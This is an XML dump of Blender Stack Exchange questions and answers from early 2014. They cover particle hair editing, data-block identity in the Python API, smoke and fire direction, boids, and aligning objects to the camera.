  <row Id="5948" PostTypeId="1" AcceptedAnswerId="5949" CreationDate="2014-01-02T23:59:12.117" Score="2" ViewCount="1680" Body="&lt;p&gt;So I set my emission number to zero and decided to add my eyelashes manually. In the &quot;add&quot; section, I have the radius way down and the count at one, but when ever I try to add a hair, it doesn't apply where I want it to. I did this with the eyebrows and it worked just fine. Not sure what's going on...  Hopefully a quick fix. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Link to my .blend file: &lt;a href=&quot;https://drive.google.com/file/d/0B6xONZ2msgKHT1p2cEw5akZ5Yms/edit?usp=sharing&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://drive.google.com/file/d/0B6xONZ2msgKHT1p2cEw5akZ5Yms/edit?usp=sharing&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Qfzci.jpg&quot; alt=&quot;This is what happens. My mouse is where I clicked&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;my mouse is where i clicked...&lt;/p&gt;&#xA;" OwnerUserId="2036" LastActivityDate="2015-06-21T23:07:27.137" Title="Adding hair particles in particle edit mode" Tags="&lt;particles&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5949" PostTypeId="2" ParentId="5948" CreationDate="2014-01-03T00:05:37.947" Score="1" Body="&lt;p&gt;Try moving the particle system above the subsurf modifier in the &lt;em&gt;Modifier stack&lt;/em&gt; by pressing the up arrow:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qDIs9.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The resulting order should be something like &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;The two particle systems&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The Subsurf modifier&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;E.g.:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7F1PJ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-01-03T00:05:37.947" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5950" PostTypeId="1" AcceptedAnswerId="5955" CreationDate="2014-01-03T00:24:00.223" Score="6" ViewCount="763" Body="&lt;p&gt;What is the proper way to test the identity of two objects?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Usually I do this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ob1 == ob2:&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or if the references have become outdated, it may be safer to hold onto names and see if they still exist:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;objects = bpy.data.objects&#xA;ob_a = objects.get(name_a)&#xA;if ob_a is not None:&#xA;    ob_b = objects.get(name_b)&#xA;    if ob_a == ob_b:&#xA;        # found a match!&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In Python, you're taught that &lt;strong&gt;equality&lt;/strong&gt; is not the same as &lt;strong&gt;identity&lt;/strong&gt;. Theoretically, there can be two indistinguishable Blender objects. So what I'd really like to do is test &lt;em&gt;identity&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ob1 is ob2:&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, in the Blender console:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;C.object is C.object&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;returns &lt;code&gt;False&lt;/code&gt;! Why is this so, and what is the recommended way for determining the identity of two objects?&lt;/p&gt;&#xA;" OwnerUserId="1658" LastEditorUserId="2952" LastEditDate="2015-11-25T00:54:51.483" LastActivityDate="2015-11-25T00:54:51.483" Title="Testing identity of two data-blocks" Tags="&lt;python&gt;&lt;scripting&gt;&lt;data-blocks&gt;" AnswerCount="2" CommentCount="7" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5951" PostTypeId="1" AcceptedAnswerId="5954" CreationDate="2014-01-03T00:52:16.303" Score="7" ViewCount="11074" Body="&lt;p&gt;I know how to control fire/smoke particles but flames and smoke always appear to be drifting upwards (i.e. positive global Z-axis) regardless.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm actually trying to create a sun-like fireball, i.e. I want the flames to emit outwards in all directions from a sphere. My particles are already doing this but the flames emitted from those particles are still drifting upwards only.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible at all with the latest release of Blender (2.69 at the time of this writing)?&lt;/p&gt;&#xA;" OwnerUserId="1259" LastActivityDate="2014-01-03T02:06:37.817" Title="Can I influence the direction in which fire and smoke dissolve?" Tags="&lt;smoke-simulation&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5952" PostTypeId="2" ParentId="5950" CreationDate="2014-01-03T00:56:43.857" Score="5" Body="&lt;p&gt;In (C)Python, the &lt;code&gt;is&lt;/code&gt; operator is based on &lt;code&gt;id()&lt;/code&gt;, which returns the memory address of a python object. For some reason, calling &lt;code&gt;id(bpy.context.active_object)&lt;/code&gt; consecutively does not return the same value. I assume this is an implementation detail(or bug) of the Blender Python API.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Without &lt;code&gt;id()&lt;/code&gt; working as expected, you can't use &lt;code&gt;is&lt;/code&gt; for comparison. But &lt;code&gt;==&lt;/code&gt; works just fine from my quick testing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You are right that using obj.name to compare object is not ideal. Use &lt;code&gt;BlenderObject == BlenderObject&lt;/code&gt; when possible.&lt;/p&gt;&#xA;" OwnerUserId="41" LastActivityDate="2014-01-03T00:56:43.857" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5953" PostTypeId="2" ParentId="5951" CreationDate="2014-01-03T01:03:54.890" Score="4" Body="&lt;p&gt;Particles and smokes are all influenced by gravity, which is set to the earthly value of -9.8m/s/s by default.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can either turn off gravity completely from the Scene Panel, or turn off the influence of Gravity for a particular particle effect. Please see screenshots below. (Relevant value highlighted in Yellow)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UtPJx.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UV21y.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="41" LastActivityDate="2014-01-03T01:03:54.890" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5954" PostTypeId="2" ParentId="5951" CreationDate="2014-01-03T01:15:50.093" Score="10" Body="&lt;p&gt;Smoke and flames will drift upwards because there is a temperature difference between the smoke/flames and the surrounding air by default, and heat rises.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can sort of disable this by setting the temperatures to be equal.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Domain settings&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Set the &lt;em&gt;Temperature Difference&lt;/em&gt; to &lt;code&gt;0&lt;/code&gt; in the smoke domain settings:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NJTxg.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is all that is needed to make the smoke/fire stop drifting upwards, however more is needed to make it emit in all directions. I think you already have this part, but I wasn't sure so here it is anyway.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since you are simulating a star, you may not want the smoke that is emitted with the flames by default (even when the flow object is set to only &lt;em&gt;Fire&lt;/em&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can disable this by setting &lt;em&gt;Smoke&lt;/em&gt; to &lt;code&gt;0&lt;/code&gt; in &lt;em&gt;Domain Settings &gt; Smoke Flames &gt; Reaction&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KCOJr.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Particle settings&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;You probably already know about the particle settings, but:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can emit particles in all directions by using a sphere and increasing the &lt;em&gt;Normal&lt;/em&gt; value which sets the starting velocity in the normal direction. This setting is in &lt;em&gt;Particles &gt; Velocity &gt; Emitter Geometry&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hOOlE.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also ensure you disable &lt;em&gt;Gravity&lt;/em&gt; for the particle system (As &lt;a href=&quot;https://blender.stackexchange.com/a/5953/599&quot;&gt;already mentioned by Mike Pan&lt;/a&gt;)&lt;br&gt;&#xA;This can be done in &lt;em&gt;Particles &gt; Field Weights &gt; Gravity&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zCx0e.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Smoke Flow Settings&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Select your particle system as the &lt;em&gt;Flow source&lt;/em&gt;, and enable &lt;em&gt;Initial Velocity&lt;/em&gt; so that the fire is &quot;flung&quot; by the particles (In other words, the fire will be emitted with the velocity already gained by the particle). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Depending on the speed of your particles, you may also want to increase the number of &lt;em&gt;Subframes&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bK1x1.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Result&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ujs9G.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.780" LastActivityDate="2014-01-03T02:06:37.817" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5955" PostTypeId="2" ParentId="5950" CreationDate="2014-01-03T01:25:23.977" Score="8" Body="&lt;p&gt;In short, for the &lt;code&gt;bpy&lt;/code&gt; api use &lt;code&gt;==&lt;/code&gt;, instead of &lt;code&gt;is&lt;/code&gt; or comparing the name (which is error prone).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blender data-blocks &lt;strong&gt;*&lt;/strong&gt; happen not to be Python objects, that is to say, when Blender creates a mesh for example, there exists no Python object for it, until a script asks for one, The way the Python API works, each data-block is a reference to Blender data. therefor &lt;code&gt;id(bpy.context.object) == id(bpy.context.object)&lt;/code&gt; won't be equal since each time a new python-object is created.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Note:&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;This is not the case for &lt;strong&gt;all&lt;/strong&gt; areas of Blender, The game-engine (&lt;code&gt;bge&lt;/code&gt;) and the &lt;code&gt;bmesh&lt;/code&gt; api's can use identity for comparisons.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Note:&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;If you do want a unique &lt;code&gt;id()&lt;/code&gt; for a data-block you can do:&lt;br&gt;&lt;code&gt;ob1.as_pointer() == ob2.as_pointer()&lt;/code&gt;, this is specific to the &lt;code&gt;bpy&lt;/code&gt; api.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;* &lt;em&gt;In Blender data-block is a general term for a scene, group, mesh, image, material, texture... etc, (avoiding the term &lt;strong&gt;object&lt;/strong&gt; since its confusing in this context)&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2014-01-03T01:35:20.103" LastActivityDate="2014-01-03T01:35:20.103" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="5956" PostTypeId="2" ParentId="5943" CreationDate="2014-01-03T01:47:00.320" Score="7" Body="&lt;p&gt;If you just want a static geometry and have no plans for animation on the plane, Use the Cell Fracture add-on as a basis to generate the shape.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Generate a plane:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/jcU2s.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After applying the cell fracture add-on:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/72GTd.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After 'randomize Transform' to raise the individual objects:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Tmw6h.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The geometry you generate should be a lot less complex and cleaner than the subdiv method.&lt;/p&gt;&#xA;" OwnerUserId="41" LastActivityDate="2014-01-03T01:47:00.320" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5957" PostTypeId="2" ParentId="5936" CreationDate="2014-01-03T01:55:10.857" Score="2" Body="&lt;p&gt;Parsing XML is &lt;a href=&quot;http://www.diveintopython3.net/xml.html&quot; rel=&quot;nofollow&quot;&gt;very simple&lt;/a&gt; in Python3. You can use the built-in &lt;code&gt;xml&lt;/code&gt; module for that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To bind the data to a texture is slightly more complicated, but it can be done too using Blender Game Engine's &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_62_1/bge.texture.html&quot; rel=&quot;nofollow&quot;&gt;videotexture module&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="41" LastActivityDate="2014-01-03T01:55:10.857" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5958" PostTypeId="2" ParentId="5935" CreationDate="2014-01-03T02:16:35.657" Score="8" Body="&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Decide on your output &lt;strong&gt;framerate&lt;/strong&gt; first (24, 25, 30, etc). Set that in the render panel and don't ever touch that value again or it will mess up the av sync.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In the timeline window, make sure &lt;strong&gt;AV-Sync&lt;/strong&gt; is turn on. This will help you during preview playback.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Lay down the audio track first, and then lock that layer down with &lt;em&gt;Shift+L&lt;/em&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Turn on the &lt;strong&gt;Draw Waveform&lt;/strong&gt; for the audio track so you can see where the beats are.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Lay down all the video tracks you have, one on each 'layer', and make sure they are in sync with the audio from beginning to end.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Use the &lt;strong&gt;Multicam selector&lt;/strong&gt; to switch between the video tracks.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If the video is in a compressed format with lots of P-frames, you won't be able to scrub through the video smoothly. Consider using the Proxy feature in Blender to generate a smaller, scrubbable version.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Below is a sample of how the setup might look. From the bottom, you see a locked audio track, 3 video-only track, and multicam selectors on the top.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/s4e2D.jpg&quot; alt=&quot;View &quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Source: I've edited down 20GBs of footage down to a &lt;a href=&quot;http://www.youtube.com/watch?v=1XZGulDxz9o&quot; rel=&quot;nofollow noreferrer&quot;&gt;4 minutes trailer&lt;/a&gt; with VSE before.&lt;/p&gt;&#xA;" OwnerUserId="41" LastActivityDate="2014-01-03T02:16:35.657" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5959" PostTypeId="1" AcceptedAnswerId="6027" CreationDate="2014-01-03T04:16:55.020" Score="4" ViewCount="2544" Body="&lt;p&gt;I know you can select random elements (verts, edges, etc.) however is it possible to &lt;i&gt;de&lt;/i&gt;select elements?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to be able to select random elements in a certain area (which would be defined by a preexisting selection)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Selecting an area&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Inverting the selection&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Hiding the inverted selection&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Selecting random elements&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Unhiding&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The only problem is the hidden elements are selected when they are shown again. It can sometimes be a pain to deselect these without affecting the randomly selected area. &lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2021-05-16T10:15:51.613" Title="Is it possible to deselect random elements?" Tags="&lt;selection-tools&gt;" AnswerCount="3" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="5960" PostTypeId="2" ParentId="5959" CreationDate="2014-01-03T05:03:57.907" Score="4" Body="&lt;p&gt;After selecting your random vertices, assign them to a vertex group.  Then unhide everything, unselect everything.  Finally, select the vertex group.&lt;/p&gt;&#xA;" OwnerUserId="1974" LastActivityDate="2014-01-03T05:03:57.907" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5961" PostTypeId="1" AcceptedAnswerId="5969" CreationDate="2014-01-03T07:57:13.000" Score="8" ViewCount="9402" Body="&lt;p&gt;In a scene with two particle system configured as boids and boids brain set to fight, one swarm attacks the other. I would like to emit child particles as lines (laser or something) to visualize some fighting action.&lt;/p&gt;&#xA;&lt;p&gt;I couldn't find a way to setup the line emitting particle system, either they are created from the plane or further cones will be added.&lt;/p&gt;&#xA;&lt;p&gt;Is there a way to do this as I saw on a &lt;a href=&quot;http://www.blenderdiplom.com/en/tutorials/402-firework-with-particles-in-blender-263.html&quot; rel=&quot;noreferrer&quot;&gt;firework animation tutorial&lt;/a&gt; but I didn't get the trick?&lt;/p&gt;&#xA;&lt;p&gt;Blend file &lt;a href=&quot;http://www.filedropper.com/fightingboids&quot; rel=&quot;noreferrer&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Jm684.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;At blendersushi &lt;a href=&quot;http://blendersushi.blogspot.de/2013/07/update-blender-268-particles-use.html&quot; rel=&quot;noreferrer&quot;&gt;blog&lt;/a&gt; the author says:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;PARTICLE INSTANCE MODIFIER &amp;gt; PARTICLES&#xA;With this stacking thing, we can now pretty much emit Particles from emitted Particles, &amp;gt; if you know how to set it up. Not very obvious, but basically you Instance some meshes &amp;gt; (using Instance Modifier) and then add Particle System to the object with Instance &amp;gt; Modifier.&lt;/p&gt;&#xA;&lt;p&gt;Make sure you have &amp;quot;Use Modifier Stack&amp;quot; turned on.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;But I can't get this to work.&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2018-07-12T07:24:49.740" Title="How can particles be emitted from particles?" Tags="&lt;particles&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="5962" PostTypeId="1" AcceptedAnswerId="5965" CreationDate="2014-01-03T08:05:08.607" Score="2" ViewCount="1370" Body="&lt;p&gt;When emitting objects from a particle system (boids) the objects appear with random orientation, while they move it would look much nicer if e.g. a spacecrafts nose would point into flight direction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems to have a leader at the first position of the &lt;em&gt;Boids Brain&lt;/em&gt; panel helps but then the particle tend to clump, when separation is added they start to move with random orientation.&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="29" LastEditDate="2014-01-03T08:17:09.490" LastActivityDate="2014-01-03T09:47:52.343" Title="Can the orientation of objects emitted from a particle system be controlled?" Tags="&lt;particles&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5963" PostTypeId="1" AcceptedAnswerId="5964" CreationDate="2014-01-03T08:23:37.107" Score="4" ViewCount="1713" Body="&lt;p&gt;I don't want to move the camera to follow an object, but I would like to place an object using the currently selected camera.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The obvious use case is position text. 2D text could obviously be added in another tool (like Gimp). Other use cases could be aligning an object perpendicular to the camera (like a perspective gauge arrow).&lt;/p&gt;&#xA;" OwnerUserId="2019" LastEditorUserId="12" LastEditDate="2014-01-03T15:51:35.660" LastActivityDate="2014-01-03T16:00:16.417" Title="How can I align an object in a discrete sense to the camera orientation?" Tags="&lt;modeling&gt;&lt;transforms&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5964" PostTypeId="2" ParentId="5963" CreationDate="2014-01-03T08:42:57.580" Score="6" Body="&lt;p&gt;The most obvious way is to align the object upon its creation. The option &lt;strong&gt;Align to View&lt;/strong&gt; is present on all object creation operator's property, I use this mostly for text object. It will align the object's rotation to whatever active view perspective when the option is checked:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/oTyyK.png&quot; alt=&quot;1a&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When that's not possible, sometimes I use a bit of Python, too, assigning the camera object's &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_7/bpy.types.Object.html#bpy.types.Object.rotation_euler&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;rotation_euler&lt;/code&gt;&lt;/a&gt; to the object to be aligned. From Python shell:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;C.object.rotation_euler = C.scene.camera.rotation_euler&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="185" LastEditorUserId="55" LastEditDate="2014-01-03T13:21:53.560" LastActivityDate="2014-01-03T13:21:53.560" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5965" PostTypeId="2" ParentId="5962" CreationDate="2014-01-03T09:47:52.343" Score="3" Body="&lt;p&gt;The mesh should be rotated in &lt;em&gt;Edit Mode&lt;/em&gt; so that the nose points into the emitting direction, then the will always point to the flight direction. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2dchH.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The rules to prevent clumping:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/IYWQX.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2014-01-03T09:47:52.343" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5966" PostTypeId="1" AcceptedAnswerId="5967" CreationDate="2014-01-03T14:30:11.050" Score="9" ViewCount="3080" Body="&lt;p&gt;I have black-white image which I use to generate particles and now I want to make particle colors similar to the original image (3). So in the end where should be some particles in color blue, some in green etc.. Is it possible to do this?&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/R2BAo.jpg&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="1751" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-01-05T02:00:15.433" Title="Paint particles from texture" Tags="&lt;particles&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5967" PostTypeId="2" ParentId="5966" CreationDate="2014-01-03T14:53:38.433" Score="8" Body="&lt;p&gt;Yes, but only using the Blender Internal renderer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Cycles doesn't render halos, and when rendering particles as an object, the particles take on the material of the original mesh, rather than the material of the emitter.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That being said, this is how you can do it with the BI renderer:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add a new material to the emitter, set its type to Halo and its colour to black&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/SiuVT.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go to the texture panel and add the texture as appropriate (Including the mapping)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dJsKp.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Set its blending to add&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/GNH6p.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Set the appropriate material slot in the particle system's properties.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8RK1F.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Admire the beauty, because yours will probably be prettier than mine:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4VXgf.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1881" LastEditorUserId="12" LastEditDate="2014-01-03T15:52:20.773" LastActivityDate="2014-01-03T15:52:20.773" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5968" PostTypeId="2" ParentId="5961" CreationDate="2014-01-03T15:39:30.140" Score="4" Body="&lt;p&gt;Unfortunately, &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.4/Manual/Physics/Particles/Types&quot; rel=&quot;nofollow&quot;&gt;Reactor Particles&lt;/a&gt; are no longer supported :-/ So you can't get particles to emit particles, as such.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &quot;trick&quot; that he used to make the fireworks is that particles get emitted from faces, but those faces might move while particles are being emitted. He used a modifier to break the faces of the sphere into pieces. Those pieces happen to be driven by a particle system, but the particles aren't emitting particles. The particles are driving the motion of the faces, and the faces are emitting particles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In short, this &quot;solution&quot; solves a very specific problem, and I don't think it will be able to do what you want it to do.&lt;/p&gt;&#xA;" OwnerUserId="1653" LastActivityDate="2014-01-03T15:39:30.140" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5969" PostTypeId="2" ParentId="5961" CreationDate="2014-01-03T15:40:31.050" Score="15" Body="&lt;p&gt;The trick is, you use the particle instance modifier on one particle system, and the particle system is recognized as one object, so it can then be emitted from itself.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Create a baseObject (that will be emitting the particles that emit the particles).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Create a ps1Object (it will be the object that is emitted in the first particle system)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Give the baseObject a particle system.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select the ps1Object, and give it a particle instance modifier. In the object tab, select baseObject. Make sure to reset the location of the ps1Object, so it looks like it's emitting from the baseObject.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Give the ps1Object a particle system and check Use Modifier Stack in the Emission tab.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PRUkz.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2014-01-03T15:40:31.050" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5970" PostTypeId="2" ParentId="5963" CreationDate="2014-01-03T15:43:03.530" Score="1" Body="&lt;p&gt;Another option is to use a Track To constraint to cause the text to always point a particular axis at the camera. Regular grs controls can be used to position it, and the Track To constraint will keep it oriented toward the camera, even if you have to re-position it.&lt;/p&gt;&#xA;" OwnerUserId="1653" LastActivityDate="2014-01-03T15:43:03.530" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
